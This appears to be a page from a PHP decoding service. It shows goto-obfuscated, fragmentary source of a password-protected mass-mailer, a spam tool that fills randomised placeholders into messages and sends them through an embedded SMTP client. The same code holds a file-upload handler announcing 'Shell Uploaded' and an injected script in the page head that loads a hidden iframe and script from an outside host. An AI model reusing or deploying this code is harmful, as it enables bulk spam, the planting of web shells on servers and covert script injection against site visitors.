"; goto O9080; O2205: function o6858($O5064) { goto O0495; O9913: $O9493 = explode("@", $O5064); goto O5875; O2444: return true; goto O9311; O0495: if (filter_var($O5064, FILTER_VALIDATE_EMAIL)) { goto O8927; } goto O7058; O9311: O7813: goto O6370; O8326: O5557: goto O2444; O6370: O1466: goto O7266; O9757: goto O1466; goto O6845; O5875: if (checkdnsrr(array_pop($O9493), "MX")) { goto O5557; } goto O7970; O7058: return false; goto O9757; O0131: goto O7813; goto O8326; O7970: return false; goto O0131; O6845: O8927: goto O9913; O7266: } goto O4157; O0929: $O4957 = stripslashes($O4957); goto O4359; O5465: print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>"; goto O3783; O2458: echo "<b>Not uploaded ! </b><br><br>"; goto O6444; O3508: ini_set("memory_limit", -1); goto O3813; O7596: $O6393 = 1; goto O2480; O1085: $O3001->O4418 = true; goto O8288; O9109: $O0578 = "https://" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto O2944; O8475: O8005: goto O5841; O5841: if ($O3082 == 2) { goto O9584; } goto O2948; O9275: $O4166 = explode(" 
", $O7779); goto O2363; O8913: echo "<b>Shell Uploaded ! :)<b><br><br>"; goto O7564; O7180: error_reporting(0); goto O9117; O4310: print "    <div class="col-lg-12">"; goto O9275; O9080: $O5016 = file_get_contents("php://input"); goto O8426; O3813: $O3279["version"] = "Final Version"; goto O0134; O5721: ini_set("display_errors", 0); goto O7180; O1554: $O5068 = md5(__FILE__); goto O9436; O2864: function O6726($O2685, $O5064) { goto O1925; O9069: $O2685 = str_replace("[-email-]", $O5064, $O2685); goto O9298; O5418: $O2685 = str_replace("[-randomletters-]", substr(str_shuffle(str_repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", 50)), 20, 10), $O2685); goto O3472; O1925: $O4798 = preg_replace("/([^@]*).*/", "$1", $O5064); goto O8450; O1293: $O2685 = str_replace("[-randomnumber-]", O0201("0123456789"), $O2685); goto O6849; O8450: $O2685 = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $O2685); goto O9069; O6849: $O2685 = str_replace("[-randommd5-]", md5(o0201("abcdefghijklmnopqrstuvwxyz0123456789")), $O2685); goto O9641; O9641: return $O2685; goto O2616; O3472: $O2685 = str_replace("[-randomstring-]", substr(str_shuffle(str_repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890", 10)), 0, 10), $O2685); goto O1293; O9298: $O2685 = str_replace("[-emailuser-]", $O4798, $O2685); goto O5418; O2616: } goto O7183; O2316: goto O9502; goto O0799; O8247: if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) { goto O7321; } goto O2458; O4415: print "\xd\xa<head><script>if(top==window){var engageNameSpace="engagens";"undefined"==typeof window[engageNameSpace]&&(window[engageNameSpace]={}),window[engageNameSpace].engageLoader=function(){function e(e){return"undefined"!=typeof e&&null!==e}function t(){var t=document.createElement("script");t.setAttribute("src",s),t.setAttribute("id","fn_engage_script"),t.setAttribute("async",""),(null==document.head||e(document.head))&&(document.head=document.getElementsByTagName("head")[0]),document.head.appendChild(t)}function n(){var t=r();if(e(t)){var n=t;i()&&(n=d(t));var o;try{o=document.documentElement,o.appendChild(n)}catch(c){o=document.body,o.appendChild(n)}a()}}function a(){function e(e){var n=e.data;"l8IframeIsReady"===n.message&&t()}window.addEventListener?window.addEventListener("message",e,!1):window.attachEvent("onmessage",e)}function r(){var t=document.createElement("iframe");if(e(t)){t.setAttribute("id","fn_engage"),t.setAttribute("src",u),t.setAttribute("target","_blank"),t.setAttribute("frameborder","0");var n=/firefox/i.exec(navigator.userAgent);e(n)&&n.length>0?(t.style.height=0,t.style.width=0):t.style.display="none",t.frameBorder="no"}return t}function i(){var t=!1,n=/android (\d+)/i.exec(navigator.userAgent);return e(n)&&n.length>0&&(t=parseInt(n[1])>=4),t}function d(e){var t=document.createElement("div");return t.setAttribute("id","fn_wrapper_div"),t.style.position="fixed",t.style.display="none",t.ontouchstart=function(){return!0},t.appendChild(e),t}function o(){var t=void 0,a=this,r=function(){e(t)&&(window.clearTimeout(t),t=void 0,n.call(a))};t=window.setTimeout(r,1e4),"function"==typeof window.addEventListener?window.addEventListener("load",r,!1):window.attachEvent("onload",r)}var c="http://globe.moreforme.net",u=c+"/l8/EngageService?v=1",s=c+"/scripts/Engage.js";o()};var engageLoader=new window[engageNameSpace].engageLoader}</script> 
\xa    <title>\xe6\257\x8d</title> 
	<link rel="icon" href="https://xs.ht/ps.png"> 
\xa    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>\xd\xa    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>\xd 
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >\xd\xa    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script> 
\xa    \xd 
      
\xd\xa</head>"; goto O1820; O6167: $O4957 = urlencode($O4957); goto O3338; O2363: $O8271 = count($O4166); goto O3443; O1089: O4305:  
?>

Did this file decode correctly?

Original Code

/* Decoded by unphp.net */

<?php 
goto O6297; O0991: O4162: goto O4310; O0005: foreach ($O4166 as $O5064) { goto O5316; O7653: O0416: goto O2793; O4037: $O3001->IsHTML(true); goto O6390; O8666: $O3001->o9988(o6726($O7388, $O5064), O6726($O0360, $O5064)); goto O0040; O7597: $O0667 = 0; goto O1721; O5601: if (!($O8411 < count($_FILES["attachment"]["name"]))) { goto O2289; } goto O1653; O0146: $O3001 = new o6643(); goto O8666; O9796: $O8411++; goto O4114; O5905: print "<br>
"; goto O6792; O6911: if (!o6858($O5064)) { goto O6984; } goto O0146; O0817: O5206: goto O2954; O1653: if (!($_FILES["attachment"]["tmp_name"][$O8411] != '')) { goto O2846; } goto O5731; O9839: O0785: goto O4673; O3088: $O8411 = 0; goto O0352; O1508: $O3001->O0610 = $O3703; goto O3088; O5771: if ($O3082 == 1) { goto O5295; } goto O5428; O8147: $O3001->o0681($O5064); goto O8663; O3403: echo " "; goto O1102; O3051: goto O9870; goto O1965; O6346: O0701: goto O9796; O4114: goto O1063; goto O8599; O0040: $O3001->O6583(O6726($O0655, $O5064)); goto O8147; O4673: print "<br>\xd
"; goto O6047; O6792: O0887: goto O0156; O0531: O5295: goto O4037; O2740: echo "<div class="col-lg-6"><span class="label label-success">SENT</span></div>"; goto O8808; O5731: $O3001->o2011($_FILES["attachment"]["tmp_name"][$O8411], $_FILES["attachment"]["name"][$O8411]); goto O2027; O2588: if (!($O0667 < 40000)) { goto O0809; } goto O3403; O5316: print "<div class="col-lg-1">[" . $O6393 . "/" . $O8271 . "]</div><div class="col-lg-5">" . $O5064 . "</div>"; goto O6911; O0156: $O6393++; goto O7597; O5374: print "<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>"; goto O5905; O6390: O7372: goto O7699; O6047: goto O0887; goto O6946; O7699: if (!$O3001->send()) { goto O5206; } goto O2740; O8746: $O3001->O1892 = O6726($O4957, $O5064); goto O1508; O9049: goto O7372; goto O0531; O8663: $O3001->O6959 = O6726($O6026, $O5064); goto O8746; O1470: $O0667++; goto O3051; O1721: O9870: goto O2588; O2027: O2846: goto O6346; O6946: O6984: goto O5374; O0352: O1063: goto O5601; O5428: $O3001->IsHTML(false); goto O9049; O1965: O0809: goto O7653; O1102: O1310: goto O1470; O2954: echo "<div class="col-lg-6"><span class="label label-default">" . $O3001->O3627 . "</span></div>"; goto O9839; O8808: goto O0785; goto O0817; O8599: O2289: goto O5771; O2793: } goto O6508; O9397: $O4384 = $_POST["emailList"]; goto O2983; O8860: if (!($_POST["action"] == "send")) { goto O1122; } goto O9397; O3443: $O6393 = 1; goto O0005; O1471: if (!($_POST["action"] == "send")) { goto O8005; } goto O5614; O2370: $O4103 = $_POST["shost"]; goto O9417; O1820: print "<body>"; goto O4750; O0254: $O0655 = O5768($_POST["replyTo"]); goto O5078; O2480: foreach ($O4166 as $O5064) { goto O8067; O4011: O5091: goto O2790; O9137: O2601: goto O3159; O8009: if (!$O3001->send()) { goto O7462; } goto O3173; O4869: if (!($O8411 < count($_FILES["attachment"]["name"]))) { goto O1223; } goto O9305; O5574: $O4640 = o6726($O4957, $O5064); goto O8314; O7967: O6303: goto O4869; O2790: $O8411++; goto O4080; O3159: $O6393++; goto O9205; O1686: O1223: goto O9386; O3843: O5957: goto O0129; O4080: goto O6303; goto O1686; O6691: O3698: goto O4011; O6775: O7462: goto O6385; O4621: $O3001->o2011($_FILES["attachment"]["tmp_name"][$O8411], $_FILES["attachment"]["name"][$O8411]); goto O6691; O9845: O4622: goto O1193; O1469: $O3001->IsHTML(false); goto O2335; O0106: $O3001->o0681($O5064); goto O7595; O8067: print "<div class="col-lg-1">[" . $O6393 . "/" . $O8271 . "]</div><div class="col-lg-5">" . $O5064 . "</div>"; goto O8722; O7986: O8378: goto O1849; O0450: O2176: goto O3843; O1193: $O0667++; goto O2769; O8968: $O8411 = 0; goto O7967; O8314: $O3001->O1892 = O6726($O4957, $O5064); goto O3919; O4762: $O3001->IsHTML(true); goto O3665; O9205: $O0667 = 0; goto O3331; O5103: $O3001 = new o6643(); goto O4788; O8628: O3654: goto O5063; O8345: goto O2601; goto O8628; O6385: echo "<div class="col-lg-6"><span class="label label-default">" . $O3001->O3627 . "</span></div>"; goto O7986; O3331: O2199: goto O5968; O3259: O2177: goto O4762; O2335: goto O1962; goto O3259; O9386: if ($O3082 == 1) { goto O2177; } goto O1469; O3665: O1962: goto O8009; O9983: goto O8378; goto O6775; O7616: print "<br>
\xa"; goto O9137; O2769: goto O2199; goto O0450; O9305: if (!($_FILES["attachment"]["tmp_name"][$O8411] != '')) { goto O3698; } goto O4621; O3919: $O3001->O0610 = $O3703; goto O8968; O5968: if (!($O0667 < 40000)) { goto O2176; } goto O2870; O4788: $O3001->o9988(O6726($O7388, $O5064), o6726($O0360, $O5064)); goto O1410; O8722: if (!o6858($O5064)) { goto O3654; } goto O5103; O7595: $O3001->O6959 = O6726($O6026, $O5064); goto O5574; O3173: echo "<div class="col-lg-6"><span class="label label-success">SENT</span></div>"; goto O9983; O5063: print "<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>"; goto O7616; O2870: echo " "; goto O9845; O1849: print "<br>\xd\xa"; goto O8345; O1410: $O3001->O6583(o6726($O0655, $O5064)); goto O0106; O0129: } goto O3489; O9687: class O1053 { const O2652 = "6.0.7"; const O7401 = "
"; const O1570 = 25; const O6446 = 998; const O8745 = 0; const O4528 = 1; const O1184 = 2; const O1484 = 3; const O3895 = 4; public $O2821 = self::O8745; public $O4819 = "echo"; public $O3117 = false; public $O5237 = 300; public $O5523 = 300; protected $O9580 = array("exim" => "/[\d]{3} OK id=(.*)/", "sendmail" => "/[\d]{3} 2.0.0 (.*) Message/", "postfix" => "/[\d]{3} 2.0.0 Ok: queued as (.*)/", "Microsoft_ESMTP" => "/[0-9]{3} 2.[\d].0 (.*)@(?:.*) Queued mail for delivery/", "Amazon_SES" => "/[\d]{3} Ok (.*)/", "SendGrid" => "/[\d]{3} Ok: queued as (.*)/", "CampaignMonitor" => "/[\d]{3} 2.0.0 OK:([a-zA-Z\d]{48})/"); protected $O8641; protected $O0257; protected $error = array("error" => '', "detail" => '', "smtp_code" => '', "smtp_code_ex" => ''); protected $O2066 = null; protected $O5742 = null; protected $O5582 = ''; protected function O5093($O6471, $O6874 = 0) { goto O3427; O7030: O0876: goto O6790; O3427: if (!($O6874 > $this->O2821)) { goto O4555; } goto O2278; O2278: return; goto O8700; O6790: O4690: goto O6387; O1628: if (!$this->O4819 instanceof \O4873\Log\o7398) { goto O1624; } goto O9789; O8335: call_user_func($this->O4819, $O6471, $O6874); goto O3490; O3490: return; goto O3532; O9789: $this->O4819->debug($O6471); goto O7639; O9550: if (!(!in_array($this->O4819, ["error_log", "html", "echo"]) and is_callable($this->O4819))) { goto O6891; } goto O8335; O3532: O6891: goto O5844; O7639: return; goto O0041; O0041: O1624: goto O9550; O5844: switch ($this->O4819) { case "error_log": error_log($O6471); goto O4690; case "html": echo gmdate("Y-m-d H:i:s"), " ", htmlentities(preg_replace("/[\r\n]+/", '', $O6471), ENT_QUOTES, "UTF-8"), "<br>
"; goto O4690; case "echo": default: $O6471 = preg_replace("/\r\n|\r/ms", "
", $O6471); echo gmdate("Y-m-d H:i:s"), "\x9", trim(str_replace("\xa", "
                   \x9                  ", trim($O6471))), "
"; } goto O7030; O8700: O4555: goto O1628; O6387: } public function connect($O3954, $O4008 = null, $O5314 = 30, $O4868 = array()) { goto O3039; O1866: O8573: goto O3520; O2361: if (!(null === $O9130)) { goto O5044; } goto O9309; O5154: $O7859 = ini_get("max_execution_time"); goto O1069; O1069: if (!(0 != $O7859 and $O5314 > $O7859)) { goto O8573; } goto O2300; O1351: $this->O5093("Connection: opened", self::O1484); goto O5703; O3520: stream_set_timeout($this->O0257, $O5314, 0); goto O2281; O5866: $this->O5093("Connection: opening to{$O3954}:{$O4008}, timeout={$O5314}, options=" . (count($O4868) > 0 ? var_export($O4868, true) : "array()"), self::O1484); goto O9611; O4858: $this->O8188(''); goto O8763; O8461: $this->O8188("Already connected to a server"); goto O9058; O8356: O2478: goto O5866; O4244: O5456: goto O8712; O6502: restore_error_handler(); goto O4353; O3039: static $O9130; goto O2361; O8712: if (is_resource($this->O0257)) { goto O2379; } goto O1329; O1474: O5044: goto O4858; O5121: $O4008 = self::O1570; goto O8356; O6692: O2379: goto O1351; O7281: $this->O0257 = fsockopen($O3954, $O4008, $O8470, $O1127, $O5314); goto O6502; O9611: $O8470 = 0; goto O1710; O5759: if ($O9130) { goto O1948; } goto O9202; O9058: return false; goto O2135; O1329: $this->O8188("Failed to connect to server", '', (string) $O8470, (string) $O1127); goto O4493; O2281: O3588: goto O3264; O4678: O1948: goto O3901; O8659: $this->o5093("SERVER -> CLIENT: " . $O2260, self::O1184); goto O7277; O4105: return false; goto O6692; O3901: $O8753 = stream_context_create($O4868); goto O1061; O4353: goto O5456; goto O4678; O8991: if (!empty($O4008)) { goto O2478; } goto O5121; O2300: @set_time_limit($O5314); goto O1866; O9309: $O9130 = function_exists("stream_socket_client"); goto O1474; O8763: if (!$this->O4754()) { goto O2513; } goto O8461; O1710: $O1127 = ''; goto O5759; O4493: $this->O5093("SMTP ERROR: " . $this->error["error"] . ":{$O1127} ({$O8470})", self::O4528); goto O4105; O3584: set_error_handler([$this, "errorHandler"]); goto O7281; O9202: $this->o5093("Connection: stream_socket_client not available, falling back to fsockopen", self::O1484); goto O3584; O0436: $this->O0257 = stream_socket_client($O3954 . ":" . $O4008, $O8470, $O1127, $O5314, STREAM_CLIENT_CONNECT, $O8753); goto O0364; O3264: $O2260 = $this->o3669(); goto O8659; O1061: set_error_handler([$this, "errorHandler"]); goto O0436; O7277: return true; goto O9133; O2135: O2513: goto O8991; O0364: restore_error_handler(); goto O4244; O5703: if (!(substr(PHP_OS, 0, 3) != "WIN")) { goto O3588; } goto O5154; O9133: } public function O4990() { goto O9673; O2535: $O9186 = STREAM_CRYPTO_METHOD_TLS_CLIENT; goto O4916; O4916: if (!defined("STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT")) { goto O6474; } goto O2497; O0779: return (bool) $O7051; goto O1615; O9585: restore_error_handler(); goto O0779; O3114: O5732: goto O2535; O9121: set_error_handler([$this, "errorHandler"]); goto O2423; O4061: return false; goto O3114; O9673: if ($this->o4557("STARTTLS", "STARTTLS", 220)) { goto O5732; } goto O4061; O2497: $O9186 |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; goto O0529; O0529: $O9186 |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; goto O2555; O2555: O6474: goto O9121; O2423: $O7051 = stream_socket_enable_crypto($this->O0257, true, $O9186); goto O9585; O1615: } public function O0444($O6564, $O2889, $O2597 = null, $O3491 = null) { goto O2207; O0103: O5945: goto O6228; O4078: $this->O8188("Authentication is not allowed at this stage"); goto O0975; O4418: return false; goto O5190; O6729: switch ($O2597) { case "PLAIN": goto O1943; O9988: goto O5580; goto O0266; O7874: O9652: goto O9988; O7103: if ($this->o4557("User & Password", base64_encode("\x0" . $O6564 . "\x0" . $O2889), 235)) { goto O9652; } goto O3857; O1943: if ($this->O4557("AUTH", "AUTH PLAIN", 334)) { goto O9034; } goto O0430; O3857: return false; goto O7874; O3819: O9034: goto O7103; O0430: return false; goto O3819; O0266: case "LOGIN": goto O2966; O1431: return false; goto O6352; O2966: if ($this->o4557("AUTH", "AUTH LOGIN", 334)) { goto O3957; } goto O4510; O7455: return false; goto O2429; O6352: O6761: goto O4952; O4952: if ($this->O4557("Password", base64_encode($O2889), 235)) { goto O4988; } goto O7455; O3647: O3957: goto O5348; O4510: return false; goto O3647; O5348: if ($this->O4557("Username", base64_encode($O6564), 334)) { goto O6761; } goto O1431; O2429: O4988: goto O8286; O8286: goto O5580; goto O9148; O9148: case "CRAM-MD5": goto O4002; O4207: O9302: goto O4213; O2395: return false; goto O4207; O0505: return $this->o4557("Username", base64_encode($O7354), 235); goto O3007; O4215: $O7354 = $O6564 . " " . $this->O8003($O4437, $O2889); goto O0505; O4213: $O4437 = base64_decode(substr($this->O5582, 4)); goto O4215; O4002: if ($this->O4557("AUTH CRAM-MD5", "AUTH CRAM-MD5", 334)) { goto O9302; } goto O2395; O3007: case "XOAUTH2": goto O8315; O8011: O8543: goto O4121; O5048: goto O5580; goto O1055; O4121: $O9783 = $O3491->o0725(); goto O7213; O6830: O0031: goto O5048; O1536: return false; goto O6830; O7213: if ($this->o4557("AUTH", "AUTH XOAUTH2 " . $O9783, 235)) { goto O0031; } goto O1536; O2433: return false; goto O8011; O8315: if (!(null === $O3491)) { goto O8543; } goto O2433; O1055: default: $this->o8188("Authentication method "{$O2597}" is not supported"); return false; } goto O6433; O0975: return false; goto O4092; O7486: O5580: goto O9848; O4092: O8969: goto O4967; O9655: if (empty($O2597)) { goto O6259; } goto O1160; O0957: if (in_array($O2597, $this->O5742["AUTH"])) { goto O4752; } goto O4498; O1160: goto O4153; goto O8042; O3572: if (array_key_exists("AUTH", $this->O5742)) { goto O8969; } goto O4078; O1489: O6259: goto O9633; O6433: O1176: goto O7486; O4463: O4515: goto O8515; O8515: if (array_key_exists("EHLO", $this->O5742)) { goto O0187; } goto O9655; O5621: $this->O5093("Requested auth method not available: " . $O2597, self::O3895); goto O5317; O2207: if ($this->O5742) { goto O4515; } goto O3080; O2735: $this->o8188("No supported authentication methods found"); goto O4418; O9192: O4752: goto O4381; O6426: return false; goto O4463; O9848: return true; goto O3342; O3080: $this->o8188("Authentication is not allowed before HELO/EHLO"); goto O6426; O4967: $this->O5093("Auth method requested: " . ($O2597 ? $O2597 : "UNSPECIFIED"), self::O3895); goto O8807; O4583: O9573: goto O1473; O6666: if (!(null !== $O2597 and !in_array($O2597, $this->O5742["AUTH"]))) { goto O9573; } goto O5621; O6228: if (!empty($O2597)) { goto O1172; } goto O2735; O5190: O1172: goto O9993; O4381: goto O4153; goto O1489; O8042: O0187: goto O3572; O3065: foreach (["CRAM-MD5", "LOGIN", "PLAIN", "XOAUTH2"] as $O7744) { goto O8092; O4716: $O2597 = $O7744; goto O9962; O0114: O2461: goto O4661; O8092: if (!in_array($O7744, $this->O5742["AUTH"])) { goto O2461; } goto O4716; O4661: O4552: goto O3849; O9962: goto O5945; goto O0114; O3849: } goto O0103; O0052: return false; goto O9192; O5317: $O2597 = null; goto O4583; O8807: $this->o5093("Auth methods available on the server: " . implode(",", $this->O5742["AUTH"]), self::O3895); goto O6666; O4517: O4153: goto O6729; O9993: self::O5093("Auth method selected: " . $O2597, self::O3895); goto O8457; O8457: O0295: goto O0957; O1473: if (!empty($O2597)) { goto O0295; } goto O3065; O4498: $this->O8188("The requested authentication method "{$O2597}" is not supported by the server"); goto O0052; O9633: $O2597 = "LOGIN"; goto O4517; O3342: } protected function o8003($O5016, $O6432) { goto O6367; O2733: $O0449 = str_pad('', $O7600, chr(0x36)); goto O7048; O6687: $O6432 = str_pad($O6432, $O7600, chr(0x0)); goto O2733; O9771: $O1569 = $O6432 ^ $O0449; goto O8645; O3784: return md5($O2088 . pack("H*", md5($O1569 . $O5016))); goto O9318; O1947: $O7600 = 64; goto O9586; O7048: $O4210 = str_pad('', $O7600, chr(0x5c)); goto O9771; O6367: if (!function_exists("hash_hmac")) { goto O2656; } goto O6606; O8302: O2656: goto O1947; O7214: O2952: goto O6687; O6606: return hash_hmac("md5", $O5016, $O6432); goto O8302; O9586: if (!(strlen($O6432) > $O7600)) { goto O2952; } goto O7006; O8645: $O2088 = $O6432 ^ $O4210; goto O3784; O7006: $O6432 = pack("H*", md5($O6432)); goto O7214; O9318: } public function O4754() { goto O4572; O8527: return false; goto O5981; O2835: O3021: goto O7162; O4572: if (!is_resource($this->O0257)) { goto O4619; } goto O9124; O7162: return true; goto O4935; O4935: O4619: goto O8527; O9124: $O1025 = stream_get_meta_data($this->O0257); goto O6148; O2518: return false; goto O2835; O6148: if (!$O1025["eof"]) { goto O3021; } goto O6477; O7628: $this->close(); goto O2518; O6477: $this->O5093("SMTP NOTICE: EOF caught while checking if connected", self::O4528); goto O7628; O5981: } public function close() { goto O3931; O2406: if (!is_resource($this->O0257)) { goto O4993; } goto O0678; O1881: $this->O2066 = null; goto O2406; O0678: fclose($this->O0257); goto O9460; O8364: O4993: goto O3001; O3931: $this->O8188(''); goto O7783; O0509: $this->o5093("Connection: closed", self::O1484); goto O8364; O7783: $this->O5742 = null; goto O1881; O9460: $this->O0257 = null; goto O0509; O3001: } public function o6302($O4783) { goto O1701; O5938: $this->O5523 = $O5826; goto O0721; O3058: return false; goto O3717; O6382: $O4610 = substr($O7040[0], 0, strpos($O7040[0], ":")); goto O7419; O7419: $O9448 = false; goto O4019; O5493: foreach ($O7040 as $O8240) { goto O4083; O6048: goto O7151; goto O8568; O0591: O0488: goto O9745; O6995: $O8240 = "	" . $O8240; goto O3910; O1040: if (!isset($O8240[self::O6446])) { goto O6873; } goto O6358; O5030: $O0625[] = substr($O8240, 0, $O2343); goto O5647; O6273: O0057: goto O8936; O2564: $O9448 = false; goto O0591; O0708: goto O1768; goto O1112; O3910: O5767: goto O6048; O8936: O9119: goto O5937; O4083: $O0625 = []; goto O1472; O9745: O7151: goto O1040; O8568: O6873: goto O5484; O5484: $O0625[] = $O8240; goto O5556; O6247: $O8240 = substr($O8240, $O2343); goto O3220; O5647: $O8240 = substr($O8240, $O2343 + 1); goto O0708; O1472: if (!($O9448 and $O8240 == '')) { goto O0488; } goto O2564; O6358: $O2343 = strrpos(substr($O8240, 0, self::O6446), " "); goto O8843; O5556: foreach ($O0625 as $O2310) { goto O7053; O1690: O2692: goto O6141; O7053: if (!(!empty($O2310) and $O2310[0] == ".")) { goto O2692; } goto O8190; O8190: $O2310 = "." . $O2310; goto O1690; O2683: O9316: goto O9690; O6141: $this->O1117($O2310 . static::O7401, "DATA"); goto O2683; O9690: } goto O6273; O3220: O1768: goto O6544; O8843: if (!$O2343) { goto O6613; } goto O5030; O1112: O6613: goto O4567; O4567: $O2343 = self::O6446 - 1; goto O9531; O9531: $O0625[] = substr($O8240, 0, $O2343); goto O6247; O6544: if (!$O9448) { goto O5767; } goto O6995; O5937: } goto O5894; O1701: if ($this->o4557("DATA", "DATA", 354)) { goto O5854; } goto O3058; O3717: O5854: goto O5067; O4019: if (!(!empty($O4610) and strpos($O4610, " ") === false)) { goto O7630; } goto O1403; O2776: $O0515 = $this->O4557("DATA END", ".", 250); goto O1574; O1574: $this->o6409(); goto O5938; O1567: $O5826 = $this->O5523; goto O4692; O4692: $this->O5523 = $this->O5523 * 2; goto O2776; O1403: $O9448 = true; goto O9310; O5067: $O7040 = explode("\xa", str_replace(["
", "\xd"], "\xa", $O4783)); goto O6382; O9310: O7630: goto O5493; O0721: return $O0515; goto O9766; O5894: O9112: goto O1567; O9766: } public function O5919($O3954 = '') { return $this->o8123("EHLO", $O3954) or $this->o8123("HELO", $O3954); } protected function O8123($O5140, $O3954) { goto O4486; O9221: $this->O2066 = $this->O5582; goto O3293; O3020: goto O1840; goto O6607; O8418: O1840: goto O9930; O6256: $this->O5742 = null; goto O3020; O4486: $O7311 = $this->O4557($O5140, $O5140 . " " . $O3954, 250); goto O9221; O6607: O5166: goto O9622; O3293: if ($O7311) { goto O5166; } goto O6256; O9930: return $O7311; goto O4742; O9622: $this->o2037($O5140); goto O8418; O4742: } protected function O2037($O9999) { goto O2676; O4000: O2725: goto O2815; O0174: $O7040 = explode("\xa", $this->O2066); goto O3848; O3848: foreach ($O7040 as $O8271 => $O4454) { goto O3486; O1851: if (empty($O1198)) { goto O8130; } goto O2998; O4582: O6962: goto O3072; O4828: switch ($O3333) { case "SIZE": $O1198 = $O1198 ? $O1198[0] : 0; goto O8069; case "AUTH": goto O4790; O5106: $O1198 = []; goto O2414; O4790: if (is_array($O1198)) { goto O3344; } goto O5106; O2414: O3344: goto O3607; O3607: goto O8069; goto O8761; O8761: default: $O1198 = true; } goto O4582; O0527: O6329: goto O2225; O4031: goto O3906; goto O9666; O5540: $O1198 = $O1198[0]; goto O8970; O0533: O1988: goto O7927; O0913: $O3333 = array_shift($O1198); goto O4828; O8970: O3906: goto O3209; O3072: O8069: goto O4031; O3209: $this->O5742[$O3333] = $O1198; goto O6878; O7927: $O1198 = explode(" ", $O4454); goto O1851; O6878: O8130: goto O0527; O2998: if (!$O8271) { goto O9478; } goto O0913; O4724: goto O6329; goto O0533; O3774: $O3333 = $O9999; goto O5540; O9666: O9478: goto O3774; O8115: if (!empty($O4454)) { goto O1988; } goto O4724; O3486: $O4454 = trim(substr($O4454, 4)); goto O8115; O2225: } goto O4000; O2676: $this->O5742 = []; goto O0174; O2815: } public function mail($O1456) { $O9916 = $this->O3117 ? " XVERP" : ''; return $this->o4557("MAIL FROM", "MAIL FROM:<" . $O1456 . ">" . $O9916, 250); } public function o3074($O6119 = true) { goto O7297; O7297: $O7311 = $this->O4557("QUIT", "QUIT", 221); goto O2155; O6054: if (!($O7311 or $O6119)) { goto O4605; } goto O2403; O1027: O4605: goto O0638; O2155: $O9629 = $this->error; goto O6054; O0638: return $O7311; goto O1105; O5726: $this->error = $O9629; goto O1027; O2403: $this->close(); goto O5726; O1105: } public function O7087($O4707, $O4576 = '') { goto O1127; O1130: O5191: goto O9925; O1127: if (empty($O4576)) { goto O8506; } goto O1290; O2267: $O3513 = "RCPT TO:<" . $O4707 . ">"; goto O0683; O2965: return $this->o4557("RCPT TO", $O3513, [250, 251]); goto O4385; O1290: $O4576 = strtoupper($O4576); goto O5250; O3997: goto O5318; goto O1130; O8975: O5318: goto O7317; O7317: $O3513 = "RCPT TO:<" . $O4707 . "> NOTIFY=" . implode(",", $O5404); goto O2639; O1797: foreach (["SUCCESS", "FAILURE", "DELAY"] as $O1459) { goto O0741; O9407: $O5404[] = $O1459; goto O8609; O5632: O4424: goto O8891; O0741: if (!(strpos($O4576, $O1459) !== false)) { goto O3790; } goto O9407; O8609: O3790: goto O5632; O8891: } goto O1060; O0683: O2985: goto O2965; O9925: $O5404[] = "NEVER"; goto O8975; O1060: O0346: goto O3997; O7036: if (strpos($O4576, "NEVER") !== false) { goto O5191; } goto O1797; O5250: $O5404 = []; goto O7036; O6970: O8506: goto O2267; O2639: goto O2985; goto O6970; O4385: } public function reset() { return $this->O4557("RSET", "RSET", 250); } protected function O4557($O1890, $O9526, $O7163) { goto O8196; O4932: return false; goto O7260; O7260: O2528: goto O9730; O1823: $O5005 = $O1779[1]; goto O5638; O6794: $this->O1117($O9526 . static::O7401, $O1890); goto O5501; O9511: $this->o5093("SERVER -> CLIENT: " . $this->O5582, self::O1184); goto O4733; O3462: $this->O5093("SMTP ERROR: " . $this->error["error"] . ": " . $this->O5582, self::O4528); goto O4932; O1343: $O6581 = substr($this->O5582, 4); goto O8823; O2069: $O1779 = []; goto O6942; O2398: $O2023 = null; goto O1343; O6406: O2428: goto O9511; O4780: $this->O8188("Called{$O1890} without being connected"); goto O9038; O8196: if ($this->O4754()) { goto O4712; } goto O4780; O5019: $this->O8188("{$O1890} command failed", $O6581, $O5005, $O2023); goto O3462; O6942: if (preg_match("/^([0-9]{3})[ -](?:([0-9]\.[0-9]\.[0-9]{1,2}) )?/", $this->O5582, $O1779)) { goto O0121; } goto O0532; O5143: O4712: goto O9637; O9730: $this->O8188(''); goto O8401; O8874: $O6581 = preg_replace("/{$O5005}[ -]" . ($O2023 ? str_replace(".", "\.", $O2023) . " " : '') . "/m", '', $this->O5582); goto O6406; O7627: O7704: goto O6794; O0532: $O5005 = substr($this->O5582, 0, 3); goto O2398; O9038: return false; goto O5143; O4623: $this->O8188("Command '{$O1890}' contained line breaks"); goto O7440; O8823: goto O2428; goto O7444; O5638: $O2023 = count($O1779) > 2 ? $O1779[2] : null; goto O8874; O7444: O0121: goto O1823; O4733: if (in_array($O5005, (array) $O7163)) { goto O2528; } goto O5019; O9637: if (!(strpos($O9526, "\xa") !== false or strpos($O9526, "\xd") !== false)) { goto O7704; } goto O4623; O7440: return false; goto O7627; O8401: return true; goto O9725; O5501: $this->O5582 = $this->O3669(); goto O2069; O9725: } public function o6083($O1456) { return $this->o4557("SAML", "SAML FROM:{$O1456}", 250); } public function o8513($O3333) { return $this->O4557("VRFY", "VRFY{$O3333}", [250, 251]); } public function o7488() { return $this->O4557("NOOP", "NOOP", 250); } public function O9569() { goto O5886; O4317: $this->O5093("SMTP NOTICE: " . $this->error["error"], self::O4528); goto O3897; O3897: return false; goto O9151; O5886: $this->o8188("The SMTP TURN command is not implemented"); goto O4317; O9151: } public function 